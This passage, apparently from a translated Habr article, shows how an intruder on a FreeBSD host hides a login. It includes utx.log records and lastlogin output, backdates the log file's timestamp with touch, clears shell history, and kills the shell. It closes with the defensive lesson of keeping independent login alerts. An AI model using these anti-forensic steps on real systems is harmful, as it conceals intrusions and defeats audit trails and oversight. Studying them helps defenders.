pid="1644" [1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101" [1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685" [1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209" [1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15" [1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209" [1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018" 


and correspondingly
 # lastlogin lastlogin Alex pts/2 108.182.182.209 Thu Nov 12 11:28:27 2015 root ttyv1 Sun Jul 19 11:06:57 2015 swimmer ftpd 10.34.1.23 Mon Oct 6 16:07:21 2014 

All these manipulations led to
 # ls -l /var/log/utx.log ls -l /var/log/utx.log -rw-r--r-- 1 root wheel 1570 Nov 13 14:28 /var/log/utx.log 

Therefore, we edit the visit time in accordance with the last entry in the log
 # touch -t201511121306 /var/log/utx.log touch -t201511121306 /var/log/utx.log # ls -l /var/log/utx.log ls -l /var/log/utx.log -rw-r--r-- 1 root wheel 1570 Nov 12 13:06 /var/log/utx.log 


Repeat the same for other files ...

It's done, it's time to leave. Clean history
 # history -c 

and go "in English"
 # kill -9 $$ 


Why all the above?
Do not rely only on system logs, keep yours. At least notifications on an e-mail about an input

Source: https://habr.com/ru/post/270801/


All Articles